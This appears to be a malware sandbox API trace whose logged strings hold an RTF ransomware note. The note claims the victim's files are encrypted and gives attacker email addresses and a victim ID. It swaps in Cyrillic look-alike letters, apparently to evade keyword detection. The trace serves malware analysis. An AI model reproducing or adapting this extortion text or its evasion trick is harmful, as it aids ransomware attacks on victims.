\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 